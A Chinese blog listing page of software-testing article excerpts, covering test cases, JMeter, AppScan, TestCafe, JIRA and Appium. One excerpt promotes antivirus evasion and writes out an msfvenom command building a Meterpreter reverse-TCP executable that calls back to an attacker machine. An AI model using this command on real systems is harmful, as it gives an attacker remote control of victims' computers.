
测试框架
文章平均质量分 77
柠檬班软件测试
★分享功能、接口、自动化、性能、测试开发、面试、职场干货,公粽号【软件测试资料侠】
展开
-
如何写出高效的软件测试用例?微信朋友圈动态发送为例
编写一份好的测试用例需要:充分的需求分析能力 + 理论及经验加持。 但这并不意味着,没测试经验、分析能力弱就不能写好用例,还是有方法可循的。作为混迹测试职场 10 年的老人,给大家分享一些用例编写的心得,接下来我会从以下几个方面展开来讲:测试用例概念、作用、内容等介绍 如何编写测试用例? 微信发送朋友圈案例分享一、测试用例介绍测试用例是为项目需求而编制的一组包含测试输入、执行条件以及预期结果的文档,以便测试某个程序是否满足客户需求。1、为什么要写测试用例?是测试工作的指导,是软件测试质原创 2021-08-11 16:13:06 · 430 阅读 · 0 评论 -
强推!这款工具非常强,小白也能绕过杀软!
1.环境攻击机:kali Linux 10.211.55.23受害机:Windows10 360 主动防御Windows7 火绒主动防御2.生成 exe 文件在 kali Linux 下使用msfvenom生成一个 64 位的 exe 文件msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=10.211.55.23lport=4444-fexe-o1.exe将文件分别发送至 Windows10 上,...原创 2021-08-03 21:18:22 · 581 阅读 · 0 评论 -
Jmeter 接口测试,参数值为列表,如何参数化?
最近在我的教学过程中,我的一个学生问了我一个问题,他们公司的一个接口参数值是列表,列表中值的数量有多有少,问我在 jmeter 中如何让这个参数的值进行参数化?看到这种问题,你的第一反应是什么?写 Java 代码?我相信,如果你有一定的程序语言基础,你肯定会想着写代码。因为代码对你来说,不是难事。但是,如果你不懂代码呢?如果你不懂代码,哪你肯定就会想着用 jmeter 自带的 Random 函数。但是,当你使用 Random 函数,去生成随机数的时候,如何生成 70原创 2021-08-02 19:08:50 · 812 阅读 · 0 评论 -
年轻测试员为什么要钱不要爱情?
18岁搞爱情最快乐,28岁搞钱最快乐。今天我们就来聊聊,「钱」这个庸俗的话题,谈谈年轻测试人为什么都一心搞钱?——很简单,因为焦虑,因为成年人的快乐,都有价格!尽管和父辈相比,这一届年轻人的生活条件当然要优越更多,但这并不意味着他们能过的更加轻盈。相反,现代生活施加给年轻人的压力,或许还要大过上一代人。读书时的同辈竞争,毕业后的求职挑战,工作后的职场奋斗,还有高企的房价、上涨的婚育成本、传说中越来越近的中年危机……发达的社交媒体让阶层间的壁垒变得透明可见,划开手机,我们就原创 2021-08-02 16:59:06 · 149 阅读 · 0 评论 -
大佬们舍不得告诉你的 web 安全测试神器——AppScan
点我有惊喜介绍AppScan,即AppScan standard edition。其安装在 Windows 操作系统上,可以对网站等 Web 应用进行自动化的应用安全扫描和测试。是 IBM 公司的 Web 扫描工具,对网站等 Web 应用进行自动化的应用安全扫描和测试。参考链接:https://www.cnblogs.com/dydxw/p/10449525.htmlAPPScan的工作原理1、通过“探索”功能,利用HTTPRequest和Response的内容,爬...原创 2021-07-28 17:22:56 · 795 阅读 · 0 评论 -
web 自动化神器 TestCafe ——用例运行篇
ONE指定用例运行运行方法关于 TestCafe 运行用例,支持以下两种方法 命令行运行 //testcafe运行的浏览器用例文件路径testcafechrome./tests/demo.js 通过Runner运行 constTestCafe=require('testcafe');consttestCafe=awaitTestCafe('localhost',1337,1338);try{con...原创 2021-07-16 20:34:43 · 929 阅读 · 1 评论 -
纯干货!一文带你详解 Chrome F12 Network 选项
ChromeF12介绍Chrome 开发者工具 F12 是前端开发、测试人员的利器,使用开发者工具可以非常方便地查看页面元素、源文件、控制台、网络等等。其中的 Network 类似与 fiddler 抓包工具,能够获取请求、响应、缓存等等内容。接下来介绍下 Network,来吧。界面介绍1界面总览2记录请求开启按钮时记录所有请求,关闭按钮时不会记录3清除请求清除按钮,清除所有记录的请求4过滤请求...原创 2021-07-14 21:39:03 · 21198 阅读 · 2 评论 -
微服务的简单部署
什么是微服务在目前互联网公司中 ,微服务是越来越成为主流的架构组成 ,简单的理解就是把之前项目所有的服务都放在一个工程 下的单体服务,根据 接口提供的功能拆分成单一的功能,这样的好处就是某个接口服务出现了宕机,不会影响到和这个接口无关联的其它接口功能 。一、准备 JDK 环境变量# 下载相应的 JDK 软件包,然后解压安装,我这里包名称为:jdk-8u102-linux-x64.tar.gz[root@localhost data]# tar -zxvf jdk-8u102-linux-x6原创 2021-06-18 17:02:57 · 2257 阅读 · 0 评论 -
JIRA 从安装到使用一步到位
1、什么是 JIRAJIRA 是 Atlassian 公司出品的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。作用:添加 bug、发布计划2、docker 安装 JIRA1、查询 JIRA 版本访问 https://registry.hub.docker.com/r/atlassian/jira-software/tags2、拉取 docker 镜像docker pull cptactionhank/atlass原创 2020-11-16 15:50:03 · 628 阅读 · 0 评论 -
如何测试邮箱
前言我们在以后的测试工作中,可能或多或少的会要去测试关于邮箱地址的功能,不管是登录,还是注册,还是绑定邮箱地址。那么首先,我们得了解一下邮箱地址的组成邮箱地址的组成,分为 3 个部分,即:邮箱名 @ 域名例如:3343787213@qq.com例如:ya.meng@163.com例如:ya_yameng@gmail.com。。。。。。那么,我们去测试的时候,就可以先从这 3 个部分去分别测试一、邮箱名现在还在使用的邮箱地址中,因为每家公司的限制不一样。以至于不太好进行归纳总结。原创 2020-11-13 19:04:04 · 987 阅读 · 0 评论 -
Appium 结合 TestNG 并行执行测试
Appium 测试框架可以让我们使用不同的编程语言(Java、Python、Ruby、JavaScript)测试不同移动端平台的应用(Android、iOS),目前也是最火的移动端测试框架。这篇文章会带着大家学习到如何在不同设备中并行执行测试。并行执行测试能够带来的好处: 提升测试效率,我们可以将测试用例分发给不同的设备执行,从而可以减少整体测试所花费的时间 同时我们可以将相同的测试用例给不同的设备去执行,特别适合需要做兼容性测试的场景 Appium 本身并没有提供并行执行这样的功能原创 2020-10-22 10:08:45 · 718 阅读 · 0 评论